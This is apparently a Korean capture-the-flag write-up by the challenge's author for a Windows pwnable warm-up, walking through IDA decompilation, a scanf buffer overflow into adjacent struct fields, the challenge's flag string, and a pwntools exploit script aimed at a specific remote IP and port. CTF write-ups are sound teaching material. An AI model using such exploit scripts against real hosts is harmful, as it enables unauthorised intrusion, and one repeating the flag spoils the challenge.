[PWN]

윈도우 포너블 문제를 저도 접한적이 없었지만, 이번 기회에 윈도우 포너블 문제를 만들었습니다.

처음엔 가볍게 워밍업으로 포너블이라 하기는 조금 애매한 녀석을 가지고 왔습니다.

이 문제의 핵심은 [구조체] 였습니다.

바이너리를 실행해보겠습니다.
서버는 아직 닫아두지 않았기 때문에 remote로 먼저 접속을 해봅니다.
START

ADMIN인지 물어보네요.
일단 제 닉네임을 적어보았는데 아무런 말이 없어요. 그럼 전 ADMIN이 아니라는 것이 되네요 ㅠㅠ 제가 만든 문젠데 전 ADMIN이 아니었습니다 ..

이제 혹시 BOF가 되나보았는데 ----------이 뜬 다음 다시 입력할 수 있게 해주네요.
NO-BOF

도통 뭐가 뭔지 모를 시점에 이제 바이너리를 다운로드 받아 코드 분석을 진행해봅니다.
64BI

64BIT 이니 ida로 열어봅니다.

오잉 Strings값에 HCAMP{ } 완전 대놓고 플래그 형식이 있습니다.
하지만, 서버에 그 플래그를 올려두진 않겠죠.
why

srand값을 받아와서 특정 연산을 수행한 후 그 값을 반환해옵니다.

__int64 sub_1400011A0()
{
  unsigned int v0; // eax

  v0 = sub_140001180(0i64);
  srand(v0);
  dword_1400030A8 = rand() % 0xFFFFFFFF + 0x10000000;
  return (unsigned int)dword_1400030A8;
}

이 값이 ARE YOU ADMIN?! 출력 후 개행 되고 보이는 HEX값입니다.
dword로 시작하기에 .data에 위치하는 global value입니다.

다음에 진행되는 함수에서 출력을 한다는 것을 알 수 있습니다.
return sub_140001070("%X\n");

다음 루틴은 이렇습니다.

int sub_140001260()
{
  FILE *v0; // rax
  FILE *v1; // rax
  char v3; // [rsp+20h] [rbp-28h]
  int v4; // [rsp+34h] [rbp-14h]
  int v5; // [rsp+38h] [rbp-10h]

  v0 = (FILE *)_acrt_iob_func(1i64);
  setvbuf(v0, 0i64, 4, 0i64);
  v1 = (FILE *)_acrt_iob_func(0i64);
  setvbuf(v1, 0i64, 4, 0i64);
  sub_140001070("what's your name?\n");
  sub_140001070(">> ");
  v5 = 305419896;
  sub_140001120(" %s", &v3);
  if ( v4 != dword_1400030A8 )
  {
    Sleep(0x3E8u);
    puts("---------------");
    Sleep(0x3E8u);
    puts("YOU ARE NOT ADMIN!\n");
    exit(0);
  }
  Sleep(0x3E8u);
  puts("--------------\n");
  Sleep(0x3E8u);
  puts("You are admin\n");
  Sleep(0x3E8u);
  if ( v5 == -559038737 )
    return sub_140001220();
  Sleep(0x3E8u);
  return puts("bye bye...");
}

위의 루틴에서 알 수 있는 부분은 이름을 입력하고 나면 v4와 dword_1400030A8을 비교하는 부분이 있고, 만약 두 개의 값이 일치한다면 또 다시 이차적으로 비교 하는 구문이 있습니다.

그런데 이상한 부분이 있습니다. v5가 sub_140001120 함수에 도달하기 전에 "미리"
정의가 됩니다. 하지만, scanf함수를 통해 문자열을 입력하고 Admin이라고 해놓고 또 다시 치사하게 검증하는 부분이 있습니다. 만약 이것이 REV 였다면 그냥 간단하게 코드 패치 촥촥 해서 플래그 루틴가게 해서 역연산을 하든, 뭘 하든 하게 될거에요.

char v3; // [rsp+20h] [rbp-28h]
int v4; // [rsp+34h] [rbp-14h]
int v5; // [rsp+38h] [rbp-10h]
이 부분을 보면 자연스럽게 이어지는 데이터임을 알 수가 있어요.

[v3][v4][v5] 그렇다면 간단하게 naming을 진행해보죠.

int sub_140001260()
{
FILE *v0; // rax
FILE *v1; // rax
char name; // [rsp+20h] [rbp-28h]
int data; // [rsp+34h] [rbp-14h]
int check; // [rsp+38h] [rbp-10h]

v0 = (FILE *)_acrt_iob_func(1i64);
setvbuf(v0, 0i64, 4, 0i64);
v1 = (FILE *)_acrt_iob_func(0i64);
setvbuf(v1, 0i64, 4, 0i64);
sub_140001070("what's your name?\n");
sub_140001070(">> ");
check = 305419896;
sub_140001120(" %s", &name);
if ( data != auto_srand_val )
{
  Sleep(0x3E8u);
  puts("---------------");
  Sleep(0x3E8u);
  puts("YOU ARE NOT ADMIN!\n");
  exit(0);
}
Sleep(0x3E8u);
puts("--------------\n");
Sleep(0x3E8u);
puts("You are admin\n");
Sleep(0x3E8u);
if ( check == -559038737 )
  return sub_140001220();
Sleep(0x3E8u);
return puts("bye bye...");
}

이렇게 바꾸게 되니 왠지 구조체로 만들고 싶다는 생각이 들게 됨니다아..

new-struct

int sub_140001260()
{
  FILE *v0; // rax
  FILE *v1; // rax
  A a; // [rsp+20h] [rbp-28h]

  v0 = (FILE *)_acrt_iob_func(1i64);
  setvbuf(v0, 0i64, 4, 0i64);
  v1 = (FILE *)_acrt_iob_func(0i64);
  setvbuf(v1, 0i64, 4, 0i64);
  sub_140001070("what's your name?\n");
  sub_140001070(">> ");
  a.check = 305419896;
  sub_140001120((__int64)" %s", &a);
  if ( a.data != auto_srand_val )
  {
    Sleep(0x3E8u);
    puts("---------------");
    Sleep(0x3E8u);
    puts("YOU ARE NOT ADMIN!\n");
    exit(0);
  }
  Sleep(0x3E8u);
  puts("--------------\n");
  Sleep(0x3E8u);
  puts("You are admin\n");
  Sleep(0x3E8u);
  if ( a.check == -559038737 )
    return sub_140001220();
  Sleep(0x3E8u);
  return puts("bye bye...");
}

구조체 20바이트(dummy) + leak으로 사용할 수 있는 8바이트 + check 검증을 할 수 있는 코드를 짜면 플래그가 있는 주소로 갈 수 있다.

int sub_140001220()
{
  Sleep(0x3E8u);
  puts("---------------------------");
  Sleep(0x3E8u);
  return puts("HCAMP{YOU_ARE_ADMIN_THANKYOU}\n");
}

이 부분이 서버에선 진짜 플래그이다~~

from pwn import *

p = remote('13.76.132.0',5555)
p.recvuntil("ARE YOU ADMIN?!")

leak = p.recv(10)
print "leak  " + leak

leak = int(leak,16)
beef = 0xDEADBEEF
dummy = "A"*20
dummy2 = "B"*20

#eip = p64(0x000000014000133D)

payload = ""
payload += dummy
payload += p32(leak)
payload += p64(beef)
#payload += p64(0xdeadbeef)

p.recvuntil(">> ")
print "payload = " + payload
p.sendline(payload)
p.interactive()

Rmx